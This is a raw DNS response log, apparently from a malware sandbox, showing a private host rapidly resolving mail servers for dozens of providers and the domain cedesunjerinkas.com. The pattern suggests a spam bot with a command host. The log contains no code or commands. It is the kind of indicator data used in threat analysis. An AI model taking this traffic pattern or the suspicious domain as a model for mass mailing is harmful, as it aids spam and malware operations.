Jan 7, 2022 15:42:40.024259090 CET	8.8.8.8	192.168.2.6	0xbe4c	No error (0)	mta5.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.024259090 CET	8.8.8.8	192.168.2.6	0xbe4c	No error (0)	mta5.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.024259090 CET	8.8.8.8	192.168.2.6	0xbe4c	No error (0)	mta5.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.024259090 CET	8.8.8.8	192.168.2.6	0xbe4c	No error (0)	mta5.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.024259090 CET	8.8.8.8	192.168.2.6	0xbe4c	No error (0)	mta5.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.024259090 CET	8.8.8.8	192.168.2.6	0xbe4c	No error (0)	mta5.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.072585106 CET	8.8.8.8	192.168.2.6	0x8e87	No error (0)	mta6.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.072585106 CET	8.8.8.8	192.168.2.6	0x8e87	No error (0)	mta6.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.072585106 CET	8.8.8.8	192.168.2.6	0x8e87	No error (0)	mta6.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.072585106 CET	8.8.8.8	192.168.2.6	0x8e87	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.072585106 CET	8.8.8.8	192.168.2.6	0x8e87	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.072585106 CET	8.8.8.8	192.168.2.6	0x8e87	No error (0)	mta6.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.072585106 CET	8.8.8.8	192.168.2.6	0x8e87	No error (0)	mta6.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.072585106 CET	8.8.8.8	192.168.2.6	0x8e87	No error (0)	mta6.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.161786079 CET	8.8.8.8	192.168.2.6	0x199	No error (0)	www4.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.211585999 CET	8.8.8.8	192.168.2.6	0xc57f	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:40.211585999 CET	8.8.8.8	192.168.2.6	0xc57f	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:40.211585999 CET	8.8.8.8	192.168.2.6	0xc57f	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:40.211585999 CET	8.8.8.8	192.168.2.6	0xc57f	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:40.211585999 CET	8.8.8.8	192.168.2.6	0xc57f	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:40.232741117 CET	8.8.8.8	192.168.2.6	0xb3e6	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.254437923 CET	8.8.8.8	192.168.2.6	0xbd83	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.275813103 CET	8.8.8.8	192.168.2.6	0x1c22	No error (0)	gmail-smtp-in.l.google.com		108.177.119.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.304883003 CET	8.8.8.8	192.168.2.6	0x8722	No error (0)	alt2.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.326297045 CET	8.8.8.8	192.168.2.6	0xed98	No error (0)	alt4.gmail-smtp-in.l.google.com		173.194.202.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.374686956 CET	8.8.8.8	192.168.2.6	0xa02f	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:40.396159887 CET	8.8.8.8	192.168.2.6	0xc315	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.57.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.396159887 CET	8.8.8.8	192.168.2.6	0xc315	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.51.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:40.623662949 CET	8.8.8.8	192.168.2.6	0xd507	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:44.198776960 CET	8.8.8.8	192.168.2.6	0x7d32	No error (0)	yandex.ru			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:44.219352007 CET	8.8.8.8	192.168.2.6	0xe374	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:45.289045095 CET	8.8.8.8	192.168.2.6	0xaae9	No error (0)	tut.by			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:45.309068918 CET	8.8.8.8	192.168.2.6	0xaca4	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:46.488270998 CET	8.8.8.8	192.168.2.6	0x43aa	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:46.488270998 CET	8.8.8.8	192.168.2.6	0x43aa	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:46.508656979 CET	8.8.8.8	192.168.2.6	0x25b0	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:46.528925896 CET	8.8.8.8	192.168.2.6	0xee86	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:50.270710945 CET	8.8.8.8	192.168.2.6	0x6925	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:50.270710945 CET	8.8.8.8	192.168.2.6	0x6925	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:50.270710945 CET	8.8.8.8	192.168.2.6	0x6925	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:50.270710945 CET	8.8.8.8	192.168.2.6	0x6925	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:50.270710945 CET	8.8.8.8	192.168.2.6	0x6925	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:50.291646004 CET	8.8.8.8	192.168.2.6	0x1c78	No error (0)	mx3.bigmir.net		193.239.68.121	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:50.311991930 CET	8.8.8.8	192.168.2.6	0xd307	No error (0)	mx10.bigmir.net		213.186.119.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:50.335127115 CET	8.8.8.8	192.168.2.6	0xa2cb	No error (0)	mx12.bigmir.net		193.239.71.112	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:50.358594894 CET	8.8.8.8	192.168.2.6	0x1d50	No error (0)	mx13.bigmir.net		193.239.71.113	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:50.377494097 CET	8.8.8.8	192.168.2.6	0x6abb	No error (0)	mx1.bigmir.net		193.239.68.121	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:51.347239971 CET	8.8.8.8	192.168.2.6	0xbba0	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:51.347239971 CET	8.8.8.8	192.168.2.6	0xbba0	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:51.370893955 CET	8.8.8.8	192.168.2.6	0x3e9e	No error (0)	mx1.inbox.lv		194.152.32.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:51.370893955 CET	8.8.8.8	192.168.2.6	0x3e9e	No error (0)	mx1.inbox.lv		194.152.32.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:51.393126011 CET	8.8.8.8	192.168.2.6	0xc036	No error (0)	mx2.inbox.lv		194.152.32.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:51.393126011 CET	8.8.8.8	192.168.2.6	0xc036	No error (0)	mx2.inbox.lv		194.152.32.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:51.960689068 CET	8.8.8.8	192.168.2.6	0x74a	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:51.982016087 CET	8.8.8.8	192.168.2.6	0x8bd6	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:53.015743971 CET	8.8.8.8	192.168.2.6	0x2a8b	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:53.015743971 CET	8.8.8.8	192.168.2.6	0x2a8b	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:53.015743971 CET	8.8.8.8	192.168.2.6	0x2a8b	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:53.038933039 CET	8.8.8.8	192.168.2.6	0x51f	No error (0)	mx3c50.megamailservers.eu		91.136.8.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:53.064141989 CET	8.8.8.8	192.168.2.6	0x5d0d	No error (0)	mx2c50.megamailservers.eu		91.136.8.46	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:53.090786934 CET	8.8.8.8	192.168.2.6	0x4da	No error (0)	mx1c50.megamailservers.eu		91.136.8.41	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.109014034 CET	8.8.8.8	192.168.2.6	0xf29f	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:55.109014034 CET	8.8.8.8	192.168.2.6	0xf29f	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:55.109014034 CET	8.8.8.8	192.168.2.6	0xf29f	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:55.127198935 CET	8.8.8.8	192.168.2.6	0x73a4	No error (0)	mta5.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.127198935 CET	8.8.8.8	192.168.2.6	0x73a4	No error (0)	mta5.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.127198935 CET	8.8.8.8	192.168.2.6	0x73a4	No error (0)	mta5.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.127198935 CET	8.8.8.8	192.168.2.6	0x73a4	No error (0)	mta5.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.127198935 CET	8.8.8.8	192.168.2.6	0x73a4	No error (0)	mta5.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.127198935 CET	8.8.8.8	192.168.2.6	0x73a4	No error (0)	mta5.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.127198935 CET	8.8.8.8	192.168.2.6	0x73a4	No error (0)	mta5.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.127198935 CET	8.8.8.8	192.168.2.6	0x73a4	No error (0)	mta5.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.148159027 CET	8.8.8.8	192.168.2.6	0xdb4c	No error (0)	mta6.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.148159027 CET	8.8.8.8	192.168.2.6	0xdb4c	No error (0)	mta6.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.148159027 CET	8.8.8.8	192.168.2.6	0xdb4c	No error (0)	mta6.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.148159027 CET	8.8.8.8	192.168.2.6	0xdb4c	No error (0)	mta6.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.148159027 CET	8.8.8.8	192.168.2.6	0xdb4c	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.148159027 CET	8.8.8.8	192.168.2.6	0xdb4c	No error (0)	mta6.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.148159027 CET	8.8.8.8	192.168.2.6	0xdb4c	No error (0)	mta6.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.148159027 CET	8.8.8.8	192.168.2.6	0xdb4c	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.171936989 CET	8.8.8.8	192.168.2.6	0x4de4	No error (0)	mta7.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.171936989 CET	8.8.8.8	192.168.2.6	0x4de4	No error (0)	mta7.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.171936989 CET	8.8.8.8	192.168.2.6	0x4de4	No error (0)	mta7.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.171936989 CET	8.8.8.8	192.168.2.6	0x4de4	No error (0)	mta7.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.171936989 CET	8.8.8.8	192.168.2.6	0x4de4	No error (0)	mta7.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.171936989 CET	8.8.8.8	192.168.2.6	0x4de4	No error (0)	mta7.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.171936989 CET	8.8.8.8	192.168.2.6	0x4de4	No error (0)	mta7.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.171936989 CET	8.8.8.8	192.168.2.6	0x4de4	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.489825010 CET	8.8.8.8	192.168.2.6	0x6b5b	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:55.512135029 CET	8.8.8.8	192.168.2.6	0xa363	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.22.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.512135029 CET	8.8.8.8	192.168.2.6	0xa363	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.18.225	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:55.748945951 CET	8.8.8.8	192.168.2.6	0x8c0f	No error (0)	yandex.ru			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:55.772427082 CET	8.8.8.8	192.168.2.6	0xb64c	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:56.035130024 CET	8.8.8.8	192.168.2.6	0xc7f3	No error (0)	tut.by			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:56.055401087 CET	8.8.8.8	192.168.2.6	0x4ad1	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:56.645096064 CET	8.8.8.8	192.168.2.6	0xfd	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:56.645096064 CET	8.8.8.8	192.168.2.6	0xfd	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:56.669297934 CET	8.8.8.8	192.168.2.6	0x1f61	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:56.696043968 CET	8.8.8.8	192.168.2.6	0x1d62	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:59.948590994 CET	8.8.8.8	192.168.2.6	0x7062	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:59.948590994 CET	8.8.8.8	192.168.2.6	0x7062	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:42:59.971400976 CET	8.8.8.8	192.168.2.6	0x9690	No error (0)	mx2.inbox.lv		194.152.32.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:59.971400976 CET	8.8.8.8	192.168.2.6	0x9690	No error (0)	mx2.inbox.lv		194.152.32.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:59.995744944 CET	8.8.8.8	192.168.2.6	0xe38c	No error (0)	mx1.inbox.lv		194.152.32.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:42:59.995744944 CET	8.8.8.8	192.168.2.6	0xe38c	No error (0)	mx1.inbox.lv		194.152.32.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.074239016 CET	8.8.8.8	192.168.2.6	0x3d55	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.074239016 CET	8.8.8.8	192.168.2.6	0x3d55	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.074239016 CET	8.8.8.8	192.168.2.6	0x3d55	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.112238884 CET	8.8.8.8	192.168.2.6	0xb466	No error (0)	mta5.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.112238884 CET	8.8.8.8	192.168.2.6	0xb466	No error (0)	mta5.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.112238884 CET	8.8.8.8	192.168.2.6	0xb466	No error (0)	mta5.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.112238884 CET	8.8.8.8	192.168.2.6	0xb466	No error (0)	mta5.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.112238884 CET	8.8.8.8	192.168.2.6	0xb466	No error (0)	mta5.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.112238884 CET	8.8.8.8	192.168.2.6	0xb466	No error (0)	mta5.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.112238884 CET	8.8.8.8	192.168.2.6	0xb466	No error (0)	mta5.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.112238884 CET	8.8.8.8	192.168.2.6	0xb466	No error (0)	mta5.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.152204037 CET	8.8.8.8	192.168.2.6	0x20bb	No error (0)	mta6.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.152204037 CET	8.8.8.8	192.168.2.6	0x20bb	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.152204037 CET	8.8.8.8	192.168.2.6	0x20bb	No error (0)	mta6.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.152204037 CET	8.8.8.8	192.168.2.6	0x20bb	No error (0)	mta6.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.152204037 CET	8.8.8.8	192.168.2.6	0x20bb	No error (0)	mta6.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.152204037 CET	8.8.8.8	192.168.2.6	0x20bb	No error (0)	mta6.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.152204037 CET	8.8.8.8	192.168.2.6	0x20bb	No error (0)	mta6.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.152204037 CET	8.8.8.8	192.168.2.6	0x20bb	No error (0)	mta6.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.180583000 CET	8.8.8.8	192.168.2.6	0xed83	No error (0)	mta7.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.180583000 CET	8.8.8.8	192.168.2.6	0xed83	No error (0)	mta7.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.180583000 CET	8.8.8.8	192.168.2.6	0xed83	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.180583000 CET	8.8.8.8	192.168.2.6	0xed83	No error (0)	mta7.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.180583000 CET	8.8.8.8	192.168.2.6	0xed83	No error (0)	mta7.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.180583000 CET	8.8.8.8	192.168.2.6	0xed83	No error (0)	mta7.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.180583000 CET	8.8.8.8	192.168.2.6	0xed83	No error (0)	mta7.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.180583000 CET	8.8.8.8	192.168.2.6	0xed83	No error (0)	mta7.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.201236010 CET	8.8.8.8	192.168.2.6	0x7cb7	No error (0)	www4.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.320313931 CET	8.8.8.8	192.168.2.6	0x1da2	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.320313931 CET	8.8.8.8	192.168.2.6	0x1da2	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.320313931 CET	8.8.8.8	192.168.2.6	0x1da2	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.320313931 CET	8.8.8.8	192.168.2.6	0x1da2	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.320313931 CET	8.8.8.8	192.168.2.6	0x1da2	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.348649025 CET	8.8.8.8	192.168.2.6	0x29d7	No error (0)	gmail-smtp-in.l.google.com		108.177.119.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.374444962 CET	8.8.8.8	192.168.2.6	0xac9	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.398364067 CET	8.8.8.8	192.168.2.6	0x4bf5	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.427978039 CET	8.8.8.8	192.168.2.6	0x4091	No error (0)	alt2.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.451740026 CET	8.8.8.8	192.168.2.6	0xe07c	No error (0)	alt4.gmail-smtp-in.l.google.com		173.194.202.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.499517918 CET	8.8.8.8	192.168.2.6	0xa177	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.519512892 CET	8.8.8.8	192.168.2.6	0xf9a4	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.70.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.519512892 CET	8.8.8.8	192.168.2.6	0xf9a4	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.635530949 CET	8.8.8.8	192.168.2.6	0xc5d2	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.655452967 CET	8.8.8.8	192.168.2.6	0xcdc3	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.665254116 CET	8.8.8.8	192.168.2.6	0x670b	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:00.812539101 CET	8.8.8.8	192.168.2.6	0xa40c	No error (0)	yandex.ru			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.813565969 CET	8.8.8.8	192.168.2.6	0x295e	No error (0)	tut.by			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:00.834146976 CET	8.8.8.8	192.168.2.6	0x3c28	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.189938068 CET	8.8.8.8	192.168.2.6	0x5109	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.189938068 CET	8.8.8.8	192.168.2.6	0x5109	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.190016031 CET	8.8.8.8	192.168.2.6	0xa9e3	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.190016031 CET	8.8.8.8	192.168.2.6	0xa9e3	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.190016031 CET	8.8.8.8	192.168.2.6	0xa9e3	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.190016031 CET	8.8.8.8	192.168.2.6	0xa9e3	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.190016031 CET	8.8.8.8	192.168.2.6	0xa9e3	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.230060101 CET	8.8.8.8	192.168.2.6	0x6557	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.230449915 CET	8.8.8.8	192.168.2.6	0xecd0	No error (0)	mx3.bigmir.net		193.239.68.121	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.252012014 CET	8.8.8.8	192.168.2.6	0xee5f	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.252352953 CET	8.8.8.8	192.168.2.6	0xc8a5	No error (0)	mx10.bigmir.net		213.186.119.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.273448944 CET	8.8.8.8	192.168.2.6	0xd6a0	No error (0)	mx12.bigmir.net		193.239.71.112	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.323827028 CET	8.8.8.8	192.168.2.6	0xd18	No error (0)	mx13.bigmir.net		193.239.71.113	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.343069077 CET	8.8.8.8	192.168.2.6	0x767f	No error (0)	mx1.bigmir.net		193.239.68.121	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.847141981 CET	8.8.8.8	192.168.2.6	0x62eb	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.847141981 CET	8.8.8.8	192.168.2.6	0x62eb	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:01.867736101 CET	8.8.8.8	192.168.2.6	0x7be6	No error (0)	mx2.inbox.lv		194.152.32.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.867736101 CET	8.8.8.8	192.168.2.6	0x7be6	No error (0)	mx2.inbox.lv		194.152.32.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.890590906 CET	8.8.8.8	192.168.2.6	0x5879	No error (0)	mx1.inbox.lv		194.152.32.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:01.890590906 CET	8.8.8.8	192.168.2.6	0x5879	No error (0)	mx1.inbox.lv		194.152.32.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.152782917 CET	8.8.8.8	192.168.2.6	0xa31f	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.180645943 CET	8.8.8.8	192.168.2.6	0x4c51	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.221712112 CET	8.8.8.8	192.168.2.6	0x237	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
